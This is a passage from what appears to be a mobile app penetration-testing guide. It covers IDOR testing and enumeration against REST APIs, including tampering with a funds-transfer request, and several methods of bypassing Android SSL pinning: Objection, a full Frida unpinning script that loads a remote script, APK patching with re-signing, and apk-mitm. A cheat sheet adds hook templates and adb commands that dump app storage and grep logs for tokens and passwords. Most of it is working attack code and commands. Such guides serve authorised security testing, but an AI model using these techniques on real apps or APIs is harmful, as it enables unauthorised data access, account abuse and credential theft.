# Captured in Burp: GET /api/v1/users/1042/profile
# Authorization: Bearer YOUR_TOKEN
# ─── Step 2: Test with different ID ───
# In Burp Repeater: change 1042 → 1043
GET /api/v1/users/1043/profile
Authorization: Bearer YOUR_TOKEN
# If returns another user's data → IDOR confirmed!
# ─── Step 3: Enumerate (Burp Intruder) ───
GET /api/v1/users/§1042§/profile
# Payload type: Numbers, From: 1 To: 5000 Step: 1
# → finds all accessible user profiles!
# ─── Step 4: Escalate ───
# Try accessing admin endpoints with regular user token:
GET /api/v1/admin/users/1/profile
# If response ≠ 403/401 → broken access control!
13.3 IDOR via Parameter Tampering
# ─── Query parameter IDOR ───
GET /api/orders?userId=1042 → change to userId=1
GET /api/reports?accountId=555 → change to accountId=1
# ─── JSON body IDOR ───
POST /api/transfer
{"fromAccount": 1042, "toAccount": 9999, "amount": 100}
# Change fromAccount → 1043 → transfer FROM another user!
# ─── Hidden parameters ───
# Response contains: {"userId": 1042, "admin": false}
# Try sending: {"userId": 1042, "admin": true} in next request
# → mass assignment / parameter pollution
# ─── GUID/UUID IDOR ───
# UUIDs look random but may be:
# 1. Predictable (sequential, time-based v1 UUIDs)
# 2. Leaked in other endpoints
# Tool: uuid-utils, uuid-v1-predictable
14. SSL/TLS Certificate Pinning Bypass
What it means: Certificate pinning prevents MITM by hardcoding the expected server certificate or public key. To intercept traffic from a pinned app, you must bypass the pin — either dynamically via Frida/Objection, or statically by patching the APK.
14.1 Identifying Pinning Implementation
# ─── Check in jadx output ───
grep -rn "CertificatePinner\|TrustManager\|checkServerTrusted" java_out/
grep -rn "X509Certificate\|SSLSocketFactory\|HostnameVerifier" java_out/
grep -rn "sha256/\|sha1/" java_out/ # OkHttp pin hash format
grep -rn "SPKI\|publicKey\|certificate" java_out/
# ─── OkHttp pinning ───
# OkHttpClient.Builder()
# .certificatePinner(new CertificatePinner.Builder()
# .add("api.target.com", "sha256/XXXXXXXXXXX==")
# .build())
# ─── Network Security Config pinning ───
cat decompiled/res/xml/network_security_config.xml | grep "pin"
14.2 Bypass Method 1 — Objection (Easiest)
# One command — bypasses most pinning implementations
objection -g com.target.app explore
> android sslpinning disable
# Verbose (shows what was bypassed):
> android sslpinning disable --quiet false
# Verify: try request in Burp → should now be intercepted!
14.3 Bypass Method 2 — Frida Script
// Universal SSL Unpinning script
// Source: https://github.com/httptoolkit/frida-android-unpinning
Java.perform(function() {
// ─── OkHttp3 ───
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload("java.lang.String", "java.util.List")
.implementation = function() {
console.log("[BYPASS] OkHttp3 pin bypassed");
};
CertificatePinner.check.overload("java.lang.String", "[Ljava.security.cert.Certificate;")
.implementation = function() {};
} catch(e) {}
// ─── TrustManagerImpl (Android default) ───
try {
var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TrustManagerImpl.verifyChain.implementation = function(
untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
console.log("[BYPASS] TrustManagerImpl bypassed for: " + host);
return untrustedChain;
};
} catch(e) {}
// ─── Retrofit / Picasso / Volley (uses OkHttp internally) ───
// All covered by OkHttp3 hook above
// ─── Custom TrustManager ───
try {
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var allClasses = Java.enumerateLoadedClassesSync();
allClasses.forEach(function(className) {
try {
var cls = Java.use(className);
if (cls.checkServerTrusted) {
cls.checkServerTrusted.implementation = function() {
console.log("[BYPASS] Custom TrustManager: " + className);
};
}
} catch(e) {}
});
} catch(e) {}
});
# Run:
frida -U -f com.target.app --no-pause \
-l https://raw.githubusercontent.com/httptoolkit/frida-android-unpinning/main/frida-script.js
14.4 Bypass Method 3 — Static APK Patch
# Patch network_security_config.xml to trust user certs
# Step 1: Decode APK
apktool d target.apk -o out/
# Step 2: Edit res/xml/network_security_config.xml
# Add user-certificates trust:
cat > out/res/xml/network_security_config.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/> <!-- ← trust user CA! -->
</trust-anchors>
</base-config>
</network-security-config>
EOF
# Step 3: If no network_security_config.xml exists, create and reference it:
# In AndroidManifest.xml → <application> tag:
# android:networkSecurityConfig="@xml/network_security_config"
# Step 4: Rebuild + sign + install
apktool b out/ -o patched.apk
java -jar uber-apk-signer.jar -a patched.apk
adb install -r signed/patched-aligned-debugSigned.apk
# Step 5: Install Burp cert as USER cert (no root needed now!)
# Settings → Security → Credentials → Install certificate → pick burp_cert.der
14.5 Bypass Method 4 — apk-mitm (Automated)
# apk-mitm: automatically patches APK for traffic interception
npm install -g apk-mitm
apk-mitm target.apk
# → Decodes APK
# → Patches network security config
# → Rebuilds and signs
# → Output: target-patched.apk
adb install target-patched.apk
# Install Burp cert as user cert → done!
15. Cheat Sheet
Frida Quick Reference
# Start frida-server
adb shell "/data/local/tmp/frida-server &"
# List apps
frida-ps -Ua # USB + applications only
# Spawn + hook
frida -U -f com.target.app --no-pause -l script.js
# Attach to running
frida -U -n com.target.app -l script.js
# Universal SSL bypass
frida -U -f com.target.app --no-pause -l ssl_bypass.js
# Objection
objection -g com.target.app explore
android sslpinning disable
android root disable
android hooking list classes | grep Auth
android hooking watch class_method com.target.app.Auth.login --dump-args --dump-return
Frida Hook Templates
// Log method + args + return
ClassName.methodName.implementation = function(arg1, arg2) {
console.log("[*] " + arg1 + ", " + arg2);
var ret = this.methodName(arg1, arg2);
console.log("[*] return: " + ret);
return ret;
};
// Force true
ClassName.isXxx.implementation = function() { return true; };
// Force false
ClassName.isXxx.implementation = function() { return false; };
// Force int value
ClassName.getXxx.implementation = function() { return 999999; };
// Modify arg
ClassName.method.implementation = function(arg) {
return this.method("modified_value");
};
Local Storage Checklist
# All in one (root required)
PKG=com.target.app
adb shell cat /data/data/$PKG/shared_prefs/*.xml
adb shell sqlite3 /data/data/$PKG/databases/*.db ".dump"
adb shell cat /data/data/$PKG/files/*.json 2>/dev/null
adb logcat | grep -iE "token|password|key|secret" &
IDOR Quick Test
-
Login as User A → capture userId in URL/response
-
Change userId to userId-1 (or another known ID)
-
Response contains User B's data? → IDOR confirmed
-
Automate: Burp Intruder → numbers payload → scan 1-9999
-
Try: change role param, change account param, change orderId
SSL Pinning Bypass Decision Tree
App has SSL pinning?
│ ├─→ Try objection first:
│ android sslpinning disable
│ ├─→ Not working? Try frida universal script:
│ frida -U -f app --no-pause -l ssl_bypass.js
│ ├─→ Still not working? Static patch:
│ apk-mitm target.apk
│ OR: manually patch network_security_config.xml
│ └─→ Custom TrustManager in native code?
Frida: hook native SSL validation function
Ghidra → find SSL_verify() → hook with Interceptor.attach()